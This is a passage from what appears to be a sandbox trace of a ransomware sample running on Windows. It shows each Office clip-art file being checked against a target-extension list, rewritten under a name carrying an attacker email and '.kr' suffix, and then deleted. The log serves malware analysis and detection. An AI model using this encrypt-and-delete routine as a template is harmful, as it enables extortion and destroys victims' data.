lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0205.997] lstrlenW (lpString=".dbf") returned 4 [0205.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0205.997] lstrlenW (lpString=".1cd") returned 4 [0205.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0205.997] lstrlenW (lpString=".jpg") returned 4 [0205.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.997] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.997] lstrlenW (lpString="J0105282.WMF") returned 12 [0205.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0206.004] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4796) returned 1 [0206.004] CloseHandle (hObject=0x54c) returned 1 [0206.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220 [0206.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0206.005] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.005] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0206.006] GetLastError () returned 0x0 [0206.006] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x12bc, lpOverlapped=0x0) returned 1 [0206.008] WriteFile (in: hFile=0x538, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x12c0, lpOverlapped=0x0) returned 1 [0206.009] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.009] WriteFile (in: hFile=0x538, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.009] SetEndOfFile (hFile=0x538) returned 1 [0206.009] CloseHandle (hObject=0x538) returned 1 [0206.009] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.009] SetEndOfFile (hFile=0x54c) returned 1 [0206.012] CloseHandle (hObject=0x54c) returned 1 [0206.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0206.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0206.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0206.014] lstrlenW (lpString=".doc") returned 4 [0206.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.014] lstrlenW (lpString=".docx") returned 5 [0206.014] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0206.014] lstrlenW (lpString=".pdf") returned 4 [0206.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.014] lstrlenW (lpString=".xls") returned 4 [0206.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.014] lstrlenW (lpString=".xlsx") returned 5 [0206.014] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0206.014] lstrlenW (lpString=".ppt") returned 4 [0206.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0206.014] lstrlenW (lpString=".zip") returned 4 [0206.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.014] lstrlenW (lpString=".rar") returned 4 [0206.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.014] lstrlenW (lpString=".bz2") returned 4 [0206.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.014] lstrlenW (lpString=".7z") returned 3 [0206.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0206.014] lstrlenW (lpString=".dbf") returned 4 [0206.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0206.014] lstrlenW (lpString=".1cd") returned 4 [0206.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0206.014] lstrlenW (lpString=".jpg") returned 4 [0206.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0206.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0206.015] lstrlenW (lpString=".doc") returned 4 [0206.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.015] lstrlenW (lpString=".docx") returned 5 [0206.015] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0206.015] lstrlenW (lpString=".pdf") returned 4 [0206.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.015] lstrlenW (lpString=".xls") returned 4 [0206.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.015] lstrlenW (lpString=".xlsx") returned 5 [0206.015] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0206.015] lstrlenW (lpString=".ppt") returned 4 [0206.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0206.015] lstrlenW (lpString=".zip") returned 4 [0206.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.015] lstrlenW (lpString=".rar") returned 4 [0206.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.015] lstrlenW (lpString=".bz2") returned 4 [0206.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.015] lstrlenW (lpString=".7z") returned 3 [0206.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0206.015] lstrlenW (lpString=".dbf") returned 4 [0206.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0206.015] lstrlenW (lpString=".1cd") returned 4 [0206.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0206.015] lstrlenW (lpString=".jpg") returned 4 [0206.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.016] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.016] lstrlenW (lpString="J0105286.WMF") returned 12 [0206.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0206.016] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=6568) returned 1 [0206.016] CloseHandle (hObject=0x54c) returned 1 [0206.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220 [0206.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0206.017] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.017] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0206.019] GetLastError () returned 0x0 [0206.019] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x19a8, lpOverlapped=0x0) returned 1 [0206.023] WriteFile (in: hFile=0x538, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x19b0, lpOverlapped=0x0) returned 1 [0206.024] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.024] WriteFile (in: hFile=0x538, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.024] SetEndOfFile (hFile=0x538) returned 1 [0206.024] CloseHandle (hObject=0x538) returned 1 [0206.024] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.025] SetEndOfFile (hFile=0x54c) returned 1 [0206.031] CloseHandle (hObject=0x54c) returned 1 [0206.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0206.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0206.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0206.033] lstrlenW (lpString=".doc") returned 4 [0206.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.033] lstrlenW (lpString=".docx") returned 5 [0206.033] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0206.033] lstrlenW (lpString=".pdf") returned 4 [0206.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.033] lstrlenW (lpString=".xls") returned 4 [0206.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.033] lstrlenW (lpString=".xlsx") returned 5 [0206.033] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0206.033] lstrlenW (lpString=".ppt") returned 4 [0206.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0206.033] lstrlenW (lpString=".zip") returned 4 [0206.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.033] lstrlenW (lpString=".rar") returned 4 [0206.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.033] lstrlenW (lpString=".bz2") returned 4 [0206.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.033] lstrlenW (lpString=".7z") returned 3 [0206.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0206.033] lstrlenW (lpString=".dbf") returned 4 [0206.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0206.034] lstrlenW (lpString=".1cd") returned 4 [0206.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0206.239] lstrlenW (lpString=".jpg") returned 4 [0206.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0206.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0206.239] lstrlenW (lpString=".doc") returned 4 [0206.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.239] lstrlenW (lpString=".docx") returned 5 [0206.239] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0206.239] lstrlenW (lpString=".pdf") returned 4 [0206.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.239] lstrlenW (lpString=".xls") returned 4 [0206.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.239] lstrlenW (lpString=".xlsx") returned 5 [0206.239] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0206.239] lstrlenW (lpString=".ppt") returned 4 [0206.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0206.239] lstrlenW (lpString=".zip") returned 4 [0206.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.239] lstrlenW (lpString=".rar") returned 4 [0206.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.239] lstrlenW (lpString=".bz2") returned 4 [0206.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.239] lstrlenW (lpString=".7z") returned 3 [0206.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0206.239] lstrlenW (lpString=".dbf") returned 4 [0206.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0206.240] lstrlenW (lpString=".1cd") returned 4 [0206.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0206.240] lstrlenW (lpString=".jpg") returned 4 [0206.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.240] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.240] lstrlenW (lpString="J0105294.WMF") returned 12 [0206.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.362] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=5504) returned 1 [0206.362] CloseHandle (hObject=0x3f8) returned 1 [0206.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220 [0206.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.363] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.363] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.376] GetLastError () returned 0x0 [0206.376] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1580, lpOverlapped=0x0) returned 1 [0206.389] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1590, lpOverlapped=0x0) returned 1 [0206.390] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.390] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.390] SetEndOfFile (hFile=0x370) returned 1 [0206.391] CloseHandle (hObject=0x370) returned 1 [0206.391] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.391] SetEndOfFile (hFile=0x3f8) returned 1 [0206.394] CloseHandle (hObject=0x3f8) returned 1 [0206.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0206.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0206.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0206.395] lstrlenW (lpString=".doc") returned 4 [0206.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.395] lstrlenW (lpString=".docx") returned 5 [0206.395] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0206.395] lstrlenW (lpString=".pdf") returned 4 [0206.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.395] lstrlenW (lpString=".xls") returned 4 [0206.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.395] lstrlenW (lpString=".xlsx") returned 5 [0206.395] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0206.395] lstrlenW (lpString=".ppt") returned 4 [0206.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0206.395] lstrlenW (lpString=".zip") returned 4 [0206.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.395] lstrlenW (lpString=".rar") returned 4 [0206.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.395] lstrlenW (lpString=".bz2") returned 4 [0206.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.396] lstrlenW (lpString=".7z") returned 3 [0206.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0206.396] lstrlenW (lpString=".dbf") returned 4 [0206.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0206.396] lstrlenW (lpString=".1cd") returned 4 [0206.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0206.396] lstrlenW (lpString=".jpg") returned 4 [0206.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0206.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0206.396] lstrlenW (lpString=".doc") returned 4 [0206.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.396] lstrlenW (lpString=".docx") returned 5 [0206.396] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0206.396] lstrlenW (lpString=".pdf") returned 4 [0206.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.396] lstrlenW (lpString=".xls") returned 4 [0206.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.396] lstrlenW (lpString=".xlsx") returned 5 [0206.396] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0206.396] lstrlenW (lpString=".ppt") returned 4 [0206.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0206.396] lstrlenW (lpString=".zip") returned 4 [0206.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.396] lstrlenW (lpString=".rar") returned 4 [0206.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.396] lstrlenW (lpString=".bz2") returned 4 [0206.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.397] lstrlenW (lpString=".7z") returned 3 [0206.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0206.397] lstrlenW (lpString=".dbf") returned 4 [0206.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0206.397] lstrlenW (lpString=".1cd") returned 4 [0206.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.397] lstrlenW (lpString="C:\\Program Files\\Microsoft 